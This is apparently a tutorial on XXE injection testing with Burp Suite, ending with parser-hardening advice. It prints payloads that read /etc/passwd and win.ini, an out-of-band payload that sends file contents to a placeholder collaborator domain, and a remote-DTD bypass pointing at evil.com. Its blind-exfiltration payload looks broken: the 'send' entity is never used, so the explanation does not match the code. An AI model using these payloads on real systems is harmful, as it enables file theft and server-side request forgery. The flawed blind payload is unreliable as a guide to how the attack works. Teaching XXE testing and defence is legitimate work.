XXE injection vulnerabilities are a lot more about what your server is willing to do with XML than what your client is sending.
Let’s see this in action. Imagine you’ve got a web app that accepts XML payloads, maybe for user profiles, order details, or configuration. Burp Suite is your go-to for intercepting and manipulating these requests.
Here’s a typical request Burp might catch:
POST /api/user/profile HTTP/1.1
Host: example.com
Content-Type: application/xml
Content-Length: 200
<user>
<id>123</id>
<name>Alice</name>
<settings>
<theme>dark</theme>
</settings>
</user>
Now, how does XXE sneak in? It happens when the XML parser on the server, when processing this seemingly innocent XML, can be tricked into performing actions it shouldn’t. The most common trick involves External Entity (XXE) declarations. These allow you to define external resources that the XML parser might fetch and include in the document.
The classic attack vector is to use an XXE to read local files on the server. Here’s how you’d craft a malicious payload using Burp:
POST /api/user/profile HTTP/1.1
Host: example.com
Content-Type: application/xml
Content-Length: 350
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<id>123</id>
<name>&xxe;</name>
<settings>
<theme>dark</theme>
</settings>
</user>
When Burp sends this modified request, you’re telling the server’s XML parser: "Hey, there’s a new entity called xxe, and its content should be whatever is in the file /etc/passwd." If the server’s XML parser is configured insecurely, it will fetch /etc/passwd and substitute its contents wherever &xxe; appears in the XML. In this example, it would likely end up in the <name> field of the response, potentially revealing sensitive system information.
The core of the problem lies in how XML parsers handle DTDs (Document Type Definitions) and external entities. By default, many parsers are configured to resolve external entities, treating them as part of the document. This is where the danger lies. You can tell the parser to fetch from file:/// URIs (to read local files), http:// URIs (to make requests to external servers, potentially revealing information about the internal network or triggering SSRF), or even other protocols depending on the parser’s configuration.
Here’s a breakdown of how to test for this with Burp:
-
Identify XML Input Points: Look for any application endpoints that accept
application/xmlortext/xmlcontent types, or any parameters that appear to be parsed as XML. This often includes API endpoints, file upload functionalities (if the file is XML), or SOAP-based services. -
Craft Basic XXE Payloads: Start with simple entity declarations. The goal is to see if the parser will even attempt to resolve an external entity.
-
File Inclusion (Linux/macOS):
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root>Diagnosis: If the response contains lines from
/etc/passwd, you’ve found an XXE that can read local files. -
File Inclusion (Windows):
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]> <root>&xxe;</root>Diagnosis: If the response contains lines from
win.ini, you’ve confirmed file inclusion.
-
-
Out-of-Band (OOB) Detection: If the application doesn’t echo the entity content directly in its response, you need to use OOB techniques. This involves making the server fetch a resource from a server you control.
- Setup: You’ll need a collaborator client (like Burp Collaborator) or a simple HTTP server you control. Let’s assume you’re using Burp Collaborator.
- Payload:
Replace<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://YOUR_COLLABORATOR_DOMAIN/test"> ]> <root>&xxe;</root>YOUR_COLLABORATOR_DOMAINwith your unique Burp Collaborator domain. - Diagnosis: If your Collaborator client receives an HTTP request from the target server at
/test, it confirms that the server is resolving external entities. This is crucial for blind XXE.
-
Exploiting Blind XXE: Once OOB is confirmed, you can use it to exfiltrate data.
- Payload (Example: Exfiltrating
/etc/passwd):
Diagnosis: This payload defines a second entity (<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % all "<!ENTITY send SYSTEM 'http://YOUR_COLLABORATOR_DOMAIN/?data=%26xxe;'>"> <!ENTITY xxe SYSTEM "file:///etc/passwd"> %all; ]> <root>&xxe;</root>all) that, when expanded, definessend.sendthen makes an HTTP request to your Collaborator, embedding the content ofxxe(which is/etc/passwd) as a URL parameter. If your Collaborator receives a request with the contents of/etc/passwdin thedataparameter, you’ve successfully exfiltrated the file.
- Payload (Example: Exfiltrating
-
Bypassing Filters: Applications might try to filter out common XXE patterns. You can try variations:
- Different DOCTYPE declarations:
<!DOCTYPE foo SYSTEM "http://evil.com/foo.dtd">wherefoo.dtdcontains the actual entity definition. - CDATA sections: Sometimes useful if the XML parser has specific rules for CDATA.
- Parameter entities: As shown in the blind XXE example, parameter entities (
%entity;) are processed within the DTD itself and can be used for more complex attacks. - Encoding: Try URL-encoding or other character encodings if you suspect input sanitization.
- Different DOCTYPE declarations:
The most effective way to prevent XXE is to disable DTDs and external entity resolution in your XML parsers entirely. For example, in Java, you’d configure your XMLInputFactory or DocumentBuilderFactory to disable external general entities and external parameter entities. In Python’s lxml, you’d use etree.XMLParser(resolve_entities=False). If you absolutely must allow DTDs for legitimate reasons, you need to carefully validate the source and content of any external entities.
After fixing XXE, the next immediate security concern you’ll likely encounter is Server-Side Request Forgery (SSRF) if you were able to make the server fetch arbitrary URLs.